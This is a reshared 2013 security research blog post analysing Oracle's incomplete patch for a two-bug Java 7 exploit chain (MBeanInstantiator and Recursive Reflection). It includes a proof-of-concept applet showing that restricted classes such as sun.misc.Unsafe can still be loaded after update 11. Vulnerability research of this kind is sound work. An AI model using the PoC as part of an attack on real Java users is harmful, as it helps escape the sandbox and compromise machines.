Tuesday, January 22, 2013

Immunity Products: Confirmed: Java only fixed one of the two bugs.

Confirmed: Java only fixed one of the two bugs.

by Nico Waism, immunityproducts.blogspot.com.ar
January 14th 2013

This is the case of the recent MBeanInstantiator exploit, which combines two bugs in order to remotely execute code.

And sometimes for everyone involved in the offensive world, this mean you need to look at the patch with special detail, because sometimes the vendor stops the worm/0day exploit with a patch, but doesn't necessary fix all of the associated problems. And of course, being only human, sometimes the vendor's team just plain messes up the patch.

The patch did stop the exploit, fixing one of its components. But an attacker with enough knowledge of the Java code base and the help of another zero day bug to replace the one fixed can easily continue compromising users. (Assuming they now use a signed Java applet - one of the other changes introduced in this patch.)
Java is indeed a constant target for attackers, and nobody should be surprised if an attacker just replaces the patched bug with a different one and starts compromising machines again. This is why it is important for Oracle and their user base to start paying special attention to each bug because with an exploitation chain as the one is needed these days, every bug matters.

Oracle patch

Oracle released a patch for these 2 vulnerabilities and two different CVE's were assigned to them.
The patch for the Recursive Reflection vulnerability (CVE-2013-0422) can be seen in the java.lang.invoke.MethodHandleNatives.isCallerSensitive method:

And also sun.reflect.misc.MethodUtil class was changed to include some more checks:

public static Object invoke(Method paramMethod, Object paramObject, Object[] paramArrayOfObject) throws InvocationTargetException, IllegalAccessException { if ((paramMethod.getDeclaringClass().equals(AccessController.class)) || ((paramMethod.getDeclaringClass().equals(MethodHandles.class)) && (paramMethod.getName().equals("lookup"))) || ((paramMethod.getDeclaringClass().equals(MethodHandles.Lookup.class)) && ((paramMethod.getName().startsWith("find")) || (paramMethod.getName().startsWith("bind")) || (paramMethod.getName().startsWith("unreflect")))) || (paramMethod.getDeclaringClass().equals(Method.class))) { throw new InvocationTargetException( new UnsupportedOperationException("invocation not supported")); } [...] }

However, the patch (which is Java 7 update 11) doesn't show any difference at all in the classes inside com.sun.jmx.mbeanserver package.

It appears then that the MBeanInstantiator.findClass vulnerability (CVE-2013-0422) is still there in the latest Java update.

In fact, running a simple test shows that restricted classes can still be retrieved with this bug.
A simple PoC like this can be used to see the situation:

import java.applet.Applet; import com.sun.jmx.mbeanserver.JmxMBeanServer; import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder; import com.sun.jmx.mbeanserver.MBeanInstantiator; public class Test9 extends Applet { public void test1() { System.out.println("RUNNING TEST1"); try { javax.management.MBeanServer ms = com.sun.jmx.mbeanserver.JmxMBeanServer .newMBeanServer("test", null, null, true); com.sun.jmx.mbeanserver.MBeanInstantiator mi = ((com.sun.jmx.mbeanserver.JmxMBeanServer) ms) .getMBeanInstantiator(); System.out.println("MBeanInstantiator = " + mi); Class clazz = mi.findClass( "sun.org.mozilla.javascript.internal.Context", (ClassLoader) null); System.out.println("clazz = " + clazz); } catch (Exception e) { e.printStackTrace(); } } public void test2() { System.out.println("RUNNING TEST2"); try { JmxMBeanServerBuilder sb = new JmxMBeanServerBuilder(); JmxMBeanServer jxmMBS = (JmxMBeanServer) sb.newMBeanServer("", null, null); MBeanInstantiator mi = jxmMBS.getMBeanInstantiator(); System.out.println("MBeanInstantiator = " + mi); Class clazz = mi.findClass("sun.misc.Unsafe", (ClassLoader) null); System.out.println("clazz = " + clazz); } catch (Exception e) { e.printStackTrace(); } } public void init() { test1(); System.out.println("--------------------------------------------"); test2(); } }

The output of such code executed with Java 7 update 11 will be something like this:

MbeanInstantiator.findClass vulnerability

com.sun.jmx.mbeanserver.JmxMBeanServer.JmxMBeanServer(String, MBeanServer, MBeanServerDelegate, MBeanInstantiator, boolean, boolean) where the interceptorsEnabled flag is fully controlled. JDK6 implementation is different because it calls another constructor that ignores the flag passed to the newMbeanServer method and always sets the flag to false.

Recursive Reflection Vulnerability

The vulnerability is that the new reflection API security checks were passed because a trusted caller from the JDK (java.lang.invoke.MethodHandle) was retrieved from the frame's stack, as was explained in the analysis.

We came to the conclusion that this happened due to an error in the sun.reflect.Reflection.getCallerClass implementation that failed to skip frames related to the new reflection API, but this was not correct.

I'd like to thank Michael 'mihi' Schierl for pointing out that the reason behind the situation was not what I suspected but something else. Learning from mistakes is good :)

You can see the details in Michael's post.

Update: According to mitre.org, CVE-2013-0422 includes the MBeanInstantiator and the Recursive Reflection issue (Even though MBeanInstantiator is not fixed on the last Java release). CVE-2012-3174 is actually for an unspecified vulnerability with no publicly known details.

- Esteban Guillardoy
Security Research
Immunity, Inc

Original Page: http://pocket.co/sGvNX

Shared from Pocket


No comments:

Post a Comment